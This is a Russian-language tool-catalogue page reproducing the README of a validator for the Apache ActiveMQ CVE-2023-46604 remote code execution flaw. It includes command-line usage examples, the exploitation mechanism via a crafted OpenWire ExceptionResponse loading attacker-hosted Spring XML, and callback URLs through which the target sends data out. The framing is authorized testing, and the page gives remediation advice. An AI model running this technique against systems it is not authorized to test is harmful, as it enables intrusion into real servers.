Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ActiveMQ-CVE-2023-46604 — Недestructive валидатор для Apache ActiveMQ CVE-2023-46604. Отправляет специально сформированные пакеты OpenWire, использует HTTP-сервер обратного вызова для подтверждения RCE или загрузки XML и генерирует доказательства в формате CSV/JSON для авторизованных тестов на проникновение. | Kitploit
Инструменты/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Репозиторий
1422 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Недestructive валидатор для Apache ActiveMQ CVE-2023-46604. Отправляет специально сформированные пакеты OpenWire, использует HTTP-сервер обратного вызова для подтверждения RCE или загрузки XML и генерирует доказательства в формате CSV/JSON для авторизованных тестов на проникновение.

Поделиться

CVE-2023-46604 ActiveMQ Safe Validator

Однофайловый, неразрушающий валидатор для Apache ActiveMQ CVE-2023-46604. Он запускает собственный HTTP-сервер обратного вызова, генерирует в памяти Spring XML, специфичный для каждой цели, отправляет сформированный OpenWire-пакет, сопоставляет обратные вызовы с уникальными токенами и записывает доказательства в CSV/JSON.

Проект предназначен для авторизованных пентестов и валидации парка систем. Он намеренно не реализует обратные оболочки, неограниченное выполнение команд, расширение CIDR, персистентность или подготовку полезной нагрузки.

Что доказывает валидатор

Доступны два фиксированных режима доказательства:

  • rce выполняет фиксированный, доступный только для чтения зонд идентификации и возвращает его вывод на встроенный HTTP-сервер. Обратный вызов подтверждает выполнение команд операционной системы в контексте службы ActiveMQ.
  • xml обслуживает пустой Spring-контекст. Получение подтверждает, что сформированное OpenWire-сообщение заставило цель инстанцировать ClassPathXmlApplicationContext и получить управляемый атакующим XML, без запуска процесса.

Создавать или размещать отдельно XML-файлы не требуется.

Возможности

  • Один Python-файл; только стандартная библиотека
  • Встроенный многопоточный HTTP-сервер
  • Динамические, специфичные для каждой цели XML и токены обратного вызова
  • Явный ввод для одной цели и нескольких целей
  • Ограниченный параллелизм и повторные попытки отправки
  • Поддержка обычного OpenWire и OpenWire поверх TLS
  • Фиксированные зонды идентификации для Linux и Windows
  • Доказательства в CSV по умолчанию, опционально JSON
  • Точные состояния результатов, исключающие ложные заявления «не уязвим»
  • Код выхода --fail-on-vuln, удобный для CI
  • Требования

    • Python 3.9 или новее
    • Сетевой доступ с тестового хоста к OpenWire-слушателю цели
    • Сетевой доступ от цели обратно к адресу HTTP-обратного вызова
    • Явная авторизация для каждой цели

    Порт OpenWire по умолчанию — 61616, но поддерживаются и нестандартные порты.

    Быстрый старт

    В примерах используйте адреса только для документации; замените их на ваши авторизованные активы.

    Одна цель на Linux

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616 \
      --callback-host 192.0.2.50
    

    Скрипт автоматически запускает сервер обратного вызова на TCP/8000, обслуживает сгенерированный XML, отправляет OpenWire-пакет, ожидает доказательства, выводит таблицу результатов и записывает:

    root@kitploit:~
    activemq-cve-2023-46604-results.csv
    

    Несколько явных целей

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target mq01.example.test:61616 \
      --target mq02.example.test:61616 \
      --target tcp://192.0.2.23:61500 \
      --callback-host 192.0.2.50 \
      --workers 4 \
      --json-output results.json
    

    Файл с целями

    Создайте targets.txt:

    root@kitploit:~
    # Один явно авторизованный хост в строке
    mq01.example.test:61616
    192.0.2.21:61616
    tcp://192.0.2.22:61500
    ssl://mq-secure.example.test:61617
    

    Запустите:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --http-port 8000 \
      --platform linux \
      --proof rce \
      --workers 8 \
      --wait 15 \
      --output findings.csv \
      --json-output findings.json
    

    Файлы с целями могут содержать пустые строки и комментарии, начинающиеся с #. Расширение CIDR намеренно не поддерживается; перечисляйте авторизованный инвентарь явно.

    Автоматическое определение адреса обратного вызова

    Для простых маршрутизируемых сетей опустите --callback-host:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616
    

    Инструмент выбирает локальный исходный адрес, используемый для маршрутизации к первой цели. Указывайте --callback-host при тестировании через NAT, VPN, контейнеры, промежуточные хосты или системы с несколькими сетевыми интерфейсами.

    ActiveMQ на Windows

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.30:61616 \
      --callback-host 192.0.2.50 \
      --platform windows \
      --proof rce
    

    Зонд Windows использует фиксированную, неинтерактивную команду PowerShell для возврата идентичности службы, имени компьютера и версии ОС. Он не предоставляет интерактивную оболочку.

    Валидация только загрузки XML

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --proof xml
    

    Этот режим не инстанцирует ProcessBuilder.

    OpenWire поверх TLS

    Используйте цель с ssl://:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50
    

    Для внутреннего слушателя с ненадёжным сертификатом:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50 \
      --tls-no-verify
    

    --tls-no-verify влияет только на TLS-соединение OpenWire. Сервер обратного вызова — HTTP.

    Состояния результатов

    СтатусЗначение
    CONFIRMED_VULNERABLE_RCEЦель получила свой XML, и фиксированная команда идентификации вернула доказательства.
    CONFIRMED_VULNERABLE_XML_LOADВ режиме xml цель получила уникальный XML-документ.
    VULNERABLE_XML_LOAD_ONLYВ режиме rce получение XML произошло, но обратный вызов команды — нет. Подтверждён уязвимый путь инстанцирования класса; инструменты обратного вызова, исходящий трафик или выполнение процессов могут быть ограничены.
    NOT_CONFIRMEDПакет отправлен, но до истечения срока не поступило коррелированных HTTP-доказательств. Это не является доказательством того, что хост пропатчен.
    UNREACHABLEСоединение TCP/TLS или отправка пакета не удались.

    Пропатченный брокер, неверный порт, фильтрация исходящего трафика, проблемы маршрутизации, несоответствие TLS и средства контроля конечных точек — всё это может повлиять на валидацию на основе обратных вызовов. Сохраняйте временные метки CSV/JSON и вывод обратных вызовов как доказательства для отчёта.

    Фиксированные доказательства идентичности

    Зонд идентификации Linux возвращает вывод, похожий на:

    root@kitploit:~
    CVE-2023-46604 RCE CONFIRMED
    uid=997(activemq) gid=997(activemq) groups=997(activemq)
    user=activemq
    host=mq01
    os=Linux 5.15.0-...
    

    Для HTTP POST он пробует curl, wget и BusyBox wget. Если XML получен, но ни один из этих клиентов недоступен, результатом будет VULNERABLE_XML_LOAD_ONLY, а не ложный отрицательный результат.

    Коды выхода

    • 0: валидация завершена, или уязвимости найдены без --fail-on-vuln
    • 2: найден хотя бы один уязвимый результат и был указан --fail-on-vuln
    • ошибки argparse используют обычный ненулевой код ошибки командной строки

    Пример использования в CI:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --fail-on-vuln
    

    Как это работает

    CVE-2023-46604 затрагивает демаршализацию Java OpenWire. Валидатор отправляет слабо маршализованный OpenWire ExceptionResponse, класс исключения которого:

    root@kitploit:~
    org.springframework.context.support.ClassPathXmlApplicationContext
    

    Сообщение исключения — уникальный URL сгенерированного Spring XML. Уязвимый код ActiveMQ инстанцирует выбранный атакующим класс с этим URL. В режиме rce Spring-контекст запускает фиксированный зонд ProcessBuilder; в режиме xml контекст пуст.

    Каждая цель получает разный токен, например:

    root@kitploit:~
    http://192.0.2.50:8000/poc/<unique-token>.xml
    http://192.0.2.50:8000/cb/<same-token>
    

    Это позволяет сопоставлять одновременные обратные вызовы с правильной целью.

    Справочник команд

    root@kitploit:~
    --authorized                 Обязательное подтверждение авторизации
    -t, --target VALUE           Явная цель; можно повторять
    -T, --targets-file FILE      Одна явная цель в строке; можно повторять
    --default-port PORT          По умолчанию 61616
    --tls                        Использовать TLS для всех целей
    --tls-no-verify              Отключить проверку сертификата OpenWire TLS
    --callback-host HOST         Адрес, который цели используют для HTTP-обратных вызовов
    --bind-host HOST             Локальный адрес привязки HTTP; по умолчанию 0.0.0.0
    --http-port PORT             Локальный порт HTTP; по умолчанию 8000; 0 выбирает свободный порт
    --proof rce|xml         Фиксированный режим доказательства; по умолчанию rce
    --platform linux|windows     Целевая ОС для режима RCE; по умолчанию linux
    --workers N                  Параллельные рабочие процессы; максимум 32
    --connect-timeout SECONDS    Таймаут TCP/TLS
    --wait SECONDS               Окно сбора обратных вызовов
    --retries N                  От одной до трёх попыток отправки пакета
    --retry-delay SECONDS        Задержка между попытками
    -o, --output FILE            Назначение CSV-доказательств
    --json-output FILE           Опциональное назначение JSON
    --verbose                    Показывать журналы HTTP-запросов
    --fail-on-vuln               Выход с кодом 2 при обнаружении уязвимого результата
    

    Тестирование

    root@kitploit:~
    python3 -m unittest discover -s tests -v
    

    Тесты проверяют разбор целей, отклонение CIDR, корректность XML и структуру кадра OpenWire без обращения к каким-либо целям.

    Устранение уязвимости

    Обновите ActiveMQ до исправленной и поддерживаемой в настоящее время версии. В консультации Apache для тогдашних актуальных веток были указаны исправленные версии: ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 и 6.0.0, а также Artemis 2.31.2. Кроме того, ограничьте OpenWire-слушатели доверенными клиентами и отслеживайте неожиданное исходящее получение XML.

    Безопасность и область применения

    Этот репозиторий предназначен для защитной валидации и авторизованных оценок безопасности. Он намеренно исключает:

    • полезные нагрузки обратных оболочек
    • произвольное выполнение --command
    • подготовку исполняемых файлов или скриптов
    • персистентность
    • атаки на аутентификацию
    • расширение CIDR/диапазонов

    Фиксированного зонда идентификации достаточно, чтобы продемонстрировать удалённое выполнение команд и влияние на учётную запись службы без установления интерактивного доступа.

    Ссылки

    • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
    • Консультации по безопасности Apache ActiveMQ: https://activemq.apache.org/components/classic/security
    • Исходный код Apache ActiveMQ: https://github.com/apache/activemq
    • Лаборатория Vulhub: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

    Лицензия

    MIT. См. LICENSE.

    Скачать инструмент